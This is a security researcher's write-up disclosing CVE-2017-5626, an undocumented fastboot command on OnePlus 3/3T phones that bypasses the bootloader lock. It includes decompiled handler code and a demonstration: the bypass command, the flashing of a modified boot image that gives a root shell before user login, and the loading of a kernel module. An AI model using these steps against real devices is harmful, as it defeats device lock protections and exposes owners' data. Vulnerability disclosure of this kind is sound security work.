OnePlus 3/3T Bypassing the Bootloader’s Lock (CVE-2017-5626)

Bypassing the Bootloader’s Lock (CVE-2017-5626)

OnePlus 3 & 3T running OxygenOS 3.2 - 4.0.1 had two proprietary fastboot oem commands:

1. fastboot oem 4F500301 – bypasses the bootloader’s lock – allowing one with fastboot access to effectively unlock the device, disregarding OEM Unlocking, without user confirmation and without erasure of userdata (which normally occurs after lock-state changes). Moreover, the device still reports it’s locked after running this command.

2. fastboot oem 4F500302 – resets various bootloader settings. For example, it will lock an unlocked bootloader without user confirmation.

Analyzing the bootloader binary shows that the routine which handles the 4F500301 command is pretty straightforward:

// 'oem 4F500301' handler
int sub_918427F0()
{
  magicFlag_dword_91989C10 = 1;
  if ( dword_9198D804 != dword_9198D804 )
    assert(1, dword_9198D804, dword_9198D804);
  return sendOK((int)"", dword_9198D804);
}

Thus it sets some global flag located at 91989C10 (which we named magicFlag). By looking at the procedures which handle the format/erase fastboot commands, we can clearly see magicFlag overrides the lock state of the device in several checks – when flashing or erasing a partition:

// 'flash' handler
const char *__fastcall sub_91847EEC(char *partitionName, int *a2, int a3)
{
  char *pname; // r5@1
...
  pname = partitionName;
  v4 = a2;
  v5 = a3;
  if ( returnTRUE1(partitionName, (int)a2) )
  {
    result = (const char *)sub_918428F0(pname, v6);
    if ( (result || magicFlag_dword_91989C10)
      && ((result = (const char *)sub_91842880(pname, v10)) != 0 || magicFlag_dword_91989C10) )
    {
      result = (const char *)sub_918428F0(pname, v10);
      if ( !result || magicFlag_dword_91989C10 )
        goto LABEL_7;
      v8 = dword_9198D804;
      if ( dword_9198D804 != dword_9198D804 )
        goto LABEL_28;
      v11 = "Critical partition flashing is not allowed";
    }
    else
    {
      v8 = dword_9198D804;
      if ( dword_9198D804 != dword_9198D804 )
        goto LABEL_28;
      v11 = "Partition flashing is not allowed";
    }
    return (const char *)FAIL2((int)v11, v10);
  }
LABEL_7:
  ...
    if ( *v4 != 0xED26FF3A )
    {
      if ( *v4 == 0xCE1AD63C )
        cmd_flash_meta_img(pname, (unsigned int)v4, v5);
      else
        cmd_flash_mmc_img(pname, (int)v4, v5);
      goto LABEL_10;
    }
    v7 = v4;
  }
  cmd_flash_mmc_sparse_img(pname, (int)v7, v5);
  ...
 }

// 'erase' handler
int __fastcall sub_91847118(char *partitionName, int a2, int a3)
{
 ...
  v3 = partitionName;
  v4 = returnTRUE1(partitionName, a2);
  if ( !v4 )
  {
LABEL_7:
    ...
    if ( v4 )
    {
      if ( dword_9198D804 == dword_9198D804 )
        return eraseParition(v3);
    }
    ...
  }
  v4 = sub_918428F0(v3, v5);
  if ( !v4 && !magicFlag_dword_91989C10 )
  {
    v6 = dword_9198D804;
    if ( dword_9198D804 == dword_9198D804 )
    {
      v7 = "Partition erase is not allowed";
      return FAIL2((int)v7, v5);
    }
    goto LABEL_23;
  }
  v4 = sub_91842880(v3, v5);
  if ( !v4 && !magicFlag_dword_91989C10 )
  {
    v6 = dword_9198D804;
    if ( dword_9198D804 == dword_9198D804 )
    {
      v7 = "Partition flashing is not allowed";
      return FAIL2((int)v7, v5);
    }
LABEL_23:
    assert(v4, v5, v6);
  }
  v4 = sub_918428F0(v3, v5);
  if ( !v4 || magicFlag_dword_91989C10 )
    goto LABEL_7;
  v6 = dword_9198D804;
  ...
  v7 = "Critical partition erase is not allowed";
  return FAIL2((int)v7, v5);
}

Exploiting CVE-2017-5626 for Kernel Code Execution

By exploiting this vulnerability, the attacker, for example, can flash a malicious boot image (which contains both the kernel & the root ramfs), in order to practically own the platform. The problem, however, is that the bootloader and platform detect such modifications, a feature known as Verified Boot. The boot and recovery partitions are verified by the bootloader – flashing a modified boot partition, for instance, will prompt the following warning upon boot:

.

Another option which will not trigger this warning is flashing an old non-modified boot image – older images contain known security vulnerabilities which can be exploited by the attacker.

Anyway, despite the warning (which automatically disappears after 5 seconds!) OnePlus 3/3T still allows to boot in the red verifiedboot state, hence the attacker’s code executes.

There is an uncountable number of ways for demonstrating the severity of this, so I chose the easiest one.

By modifying the boot image:

1. I’ve set SELinux to permissive mode by appending androidboot.selinux=permissive to the kernel command line.

2. I’ve modified the ramfs s.t. ro.debuggable=1, ro.secure=0, ro.adb.secure=0, and changed the USB config property (sys.usb.config) to include adb upon boot.

I then exploited the vulnerability, flashing the modified boot.img (evil_boot.img):

λ fastboot flash boot evil_boot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [  0.335s]
writing 'boot'...
FAILED (remote: Partition flashing is not allowed)
finished. total time: 0.358s

λ  fastboot oem 4F500301
...
OKAY [  0.020s]
finished. total time: 0.021s

λ fastboot flash boot  evil_boot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [  0.342s]
writing 'boot'...
OKAY [  0.135s]
finished. total time: 0.480s

That had given me a root shell, even before the user entered his credentials:

OnePlus3:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),
3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0

OnePlus3:/ # getenforce
Permissive

The OnePlus 3/3T kernel seems to be compiled with LKM enabled, so running kernel code does not even require patching / recompiling the kernel.

So I created a tiny kernel module:

#include <linux/module.h>
#include <linux/kdb.h>
int init_module(void)
{
    printk(KERN_ALERT "Hello From Kernel\n");
    return 1;
}

And then loaded it into the kernel:

OnePlus3:/data/local/tmp # insmod ./test.ko
OnePlus3:/data/local/tmp # dmesg | grep Hello
[19700121_21:09:58.970409]@3 Hello From Kernel